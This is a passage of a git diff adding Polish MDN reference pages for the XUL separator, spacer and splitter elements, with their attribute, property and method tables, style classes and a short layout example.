+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Klasy_styl.C3.B3w" name="Klasy_styl.C3.B3w"> Klasy stylów </h3>
+<p>Następujące klasy możemy zastosować do nadania stylu temu elementowi. Należy korzystać z tych klas zamiast nadawać styl bezpośrednio w danym elemencie - dzięki temu będą bardziej pasować do motywu wybranego przez użytkownika.
+</p><p></p><dl><dt> <code><a href="https://developer.mozilla.org/pl/docs/XUL/Styl/groove">groove</a></code>
+</dt><dd> Separator <b>grooved</b>.
+</dd></dl>
+<p><br>
+</p>
+<dl>
+ <dt>
+ <code><a href="https://developer.mozilla.org/pl/docs/XUL/Styl/groove-thin">groove-thin</a></code></dt>
+ <dd>
+ Cienki separator <b>grooved</b>.</dd>
+</dl>
+<dl><dt> <code><a href="https://developer.mozilla.org/pl/docs/XUL/Styl/thin">thin</a></code>
+</dt><dd> Najcieńszy separator, który zazwyczaj ma 0.5 em.
+</dd></dl>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<dl><dt>Elementy
+</dt><dd><code><a href="/pl/docs/Mozilla/Tech/XUL/spacer" title="spacer">spacer</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/splitter" title="splitter">splitter</a></code>.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/spacer/index.html b/files/pl/mozilla/tech/xul/spacer/index.html
new file mode 100644
index 0000000000..a052a9a18d
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/spacer/index.html
@@ -0,0 +1,103 @@
+---
+title: spacer
+slug: Mozilla/Tech/XUL/spacer
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/spacer
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Element, który zabiera miejsce, lecz nie wyświetla niczego. Jest zwykle używany do umieszczenia pustego miejsca wewnątrz kontenera. Jeśli nie podasz rozmiaru elementu lub nie podasz, że jest on elastyczny, nie będzie on zajmował żadnego miejsca. Jeśli potrzebujesz mniejszej luki, pomyśl o użyciu elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/separator" title="separator">separator</a></code>.
+</p><p>Dodatkowe informacje są dostępne w <a href="pl/Kurs_XUL/Zastosowanie_odst%c4%99p%c3%b3w">kursie XUL</a>.
+</p>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<pre class="eval">&lt;box&gt;
+ &lt;button label="Left"/&gt;
+ &lt;spacer flex="1"/&gt;
+ &lt;button label="Right"/&gt;
+&lt;/box&gt;
+</pre>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238);">
+<tbody>
+<tr>
+<td><p><strong>Dziedziczy z elementu XUL</strong><br> <small>
+<code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code>,
+<code id="a-allowevents"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allowevents">allowevents</a></code>,
+<code id="a-allownegativeassertions"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allownegativeassertions">allownegativeassertions</a></code>,
+<code id="a-class"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/class">class</a></code>,
+<code id="a-coalesceduplicatearcs"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/coalesceduplicatearcs">coalesceduplicatearcs</a></code>,
+<code id="a-collapsed"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/collapsed">collapsed</a></code>,
+<code id="a-container"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/container">container</a></code>,
+<code id="a-containment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/containment">containment</a></code>,
+<code id="a-context"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/context">context</a></code>,
+<code id="a-contextmenu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/contextmenu">contextmenu</a></code>,
+<code id="a-datasources"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/datasources">datasources</a></code>,
+<code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code>,
+<code id="a-empty"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/empty">empty</a></code>,
+<code id="a-equalsize"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/equalsize">equalsize</a></code>,
+<code id="a-flags"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flags">flags</a></code>,
+<code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code>,
+<code id="a-height"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/height">height</a></code>,
+<code id="a-hidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidden">hidden</a></code>,
+<code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code>,
+<code id="a-insertafter"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertafter">insertafter</a></code>,
+<code id="a-insertbefore"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertbefore">insertbefore</a></code>,
+<code id="a-left"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/left">left</a></code>,
+<code id="a-maxheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxheight">maxheight</a></code>,
+<code id="a-maxwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxwidth">maxwidth</a></code>,
+<code id="a-menu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/menu">menu</a></code>,
+<code id="a-minheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minheight">minheight</a></code>,
+<code id="a-minwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minwidth">minwidth</a></code>,
+<code id="a-mousethrough"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/mousethrough">mousethrough</a></code>,
+<code id="a-observes"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/observes">observes</a></code>,
+<code id="a-ordinal"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ordinal">ordinal</a></code>,
+<code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>,
+<code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code>,
+<code id="a-persist"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/persist">persist</a></code>,
+<code id="a-popup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/popup">popup</a></code>,
+<code id="a-position"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/position">position</a></code>,
+<code id="a-preference-editable"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/preference-editable">preference-editable</a></code>,
+<code id="a-querytype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/querytype">querytype</a></code>,
+<code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code>,
+<code id="a-removeelement"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/removeelement">removeelement</a></code>,
+<code id="a-sortDirection"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortDirection">sortDirection</a></code>,
+<code id="a-sortResource"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource">sortResource</a></code>,
+<code id="a-sortResource2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource2">sortResource2</a></code>,
+<code id="a-statustext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/statustext">statustext</a></code>,
+<code id="a-style"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/style">style</a></code>,
+<code id="a-template"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/template">template</a></code>,
+<code id="a-tooltip"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltip">tooltip</a></code>,
+<code id="a-tooltiptext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltiptext">tooltiptext</a></code>,
+<code id="a-top"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/top">top</a></code>,
+<code id="a-uri"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/uri">uri</a></code>,
+<code id="a-wait-cursor"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/wait-cursor">wait-cursor</a></code>,
+<code id="a-width"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/width">width</a></code> </small></p>
+</td>
+</tr>
+</tbody>
+</table>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<dl><dt>Elementy
+</dt><dd><code><a href="/pl/docs/Mozilla/Tech/XUL/separator" title="separator">separator</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/splitter" title="splitter">splitter</a></code>
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/splitter/index.html b/files/pl/mozilla/tech/xul/splitter/index.html
new file mode 100644
index 0000000000..9b8b9df01a
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/splitter/index.html
@@ -0,0 +1,146 @@
+---
+title: splitter
+slug: Mozilla/Tech/XUL/splitter
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+ - Strony_wymagające_dopracowania
+translation_of: Archive/Mozilla/XUL/splitter
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Element, który powinien pojawić się przed lub za elementem wewnątrz kontenera. Kiedy rozdzielacz jest przeciągany, elementy sąsiednie rozdzielacza zmieniają rozmiar. Jeśli chwytak
+(<code><a href="/pl/docs/Mozilla/Tech/XUL/grippy" title="grippy">grippy</a></code>) jest umieszczony wewnątrz rozdzielacza, jeden z elementów sąsiednich do rozdzielacza jest chowany, kiedy chwytak zostanie kliknięty.
+</p><p>Dodatkowe informacje są dostępne w <a href="pl/Kurs_XUL/Rozdzielacze">kursie XUL</a>.
+</p>
+<dl><dt> Atrybuty
+</dt><dd> <a href="#a-collapse">collapse</a>, <a href="#a-resizeafter">resizeafter</a>, <a href="#a-resizebefore">resizebefore</a>, <a href="#a-state">state</a>, <a href="#a-substate">substate</a>
+</dd></dl>
+<dl><dt> Klasy stylów
+</dt><dd> <a href="#s-tree-splitter">tree-splitter</a>
+</dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<p>(potrzebne przykłady)
+</p>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p>
+</p><div id="a-collapse">
+
+<dl>
+ <dt>
+ <code id="a-collapse"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/collapse">collapse</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ jedna z wartości poniżej</i>
+ </dd>
+ <dd>
+ Określa, która strona rozdzielacza <code><a href="/pl/docs/Mozilla/Tech/XUL/splitter" title="splitter">splitter</a></code> jest zawinięta, kiedy jest kliknięty jego grippy. Jeśli ten atrybut nie jest określony, rozdzielacz nie będzie przypadkiem zawinięty. Powinieneś dodać element <code><a href="/pl/docs/Mozilla/Tech/XUL/grippy" title="grippy">grippy</a></code> wewnątrz rozdzielacza, kiedy chcesz użyć go do zawinięcia.</dd>
+</dl>
+<ul>
+ <li><code>none</code>: Brak zawinięcia.</li>
+ <li><code>before</code>: Kiedy grippy jest kliknięty, element będący przed rozdzielaczem i mający tego samego rodzica jest zwinięty, więc jego szerokość lub wysokość wyniesie 0.</li>
+ <li><code>after</code>: Kiedy grippy jest kliknięty, element będący po rozdzielaczu i mający tego samego rodzica jest zwinięty, więc jego szerokość lub wysokość wyniesie 0.</li>
+ <li><code>both</code> (tylko w Gecko 1.9+): Oba elementy rozdzielacza; przed i po nim mogą być zawinięte, jeśli rozmiar tego elementu będzie spadał do minimalnego rozmiaru odpowiedniego do pozycji rozdzielacza.</li>
+</ul>
+</div>
+<div id="a-resizeafter">
+
+
+<dl>
+ <dt><code id="a-resizeafter"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/resizeafter">resizeafter</a></code></dt>
+</dl>
+
+<dl>
+ <dd>Typ:<em>jedna z poniższych wartości</em></dd>
+ <dd>Ten atrybut sygnalizuje, który element po prawej lub poniżej rozdzielacza (<code><a href="/pl/docs/Mozilla/Tech/XUL/splitter" title="splitter">splitter</a></code>) powinien zmienić rozmiar, kiedy rozdzielacz zmienia swoje położenie.</dd>
+</dl>
+
+<ul>
+ <li><code>closest</code>: Element zmienia swój rozmiar natychmiast do prawej lub do dołu po zmianie położenia rozdzielacza.</li>
+ <li><code>farthest</code>: Element, który jest najdalej od rozdzielacza po prawej lub poniżej zmienia swój rozmiar po zmianie położenia rozdzielacza.</li>
+ <li><code>grow</code>: Element po prawej lub poniżej rozdzielacza nie zmienia rozmiaru (chyba, że są elastyczne), kiedy rozdzielacz jest przeciągany, lecz natomiast cały kontener zmienia rozmiar.</li>
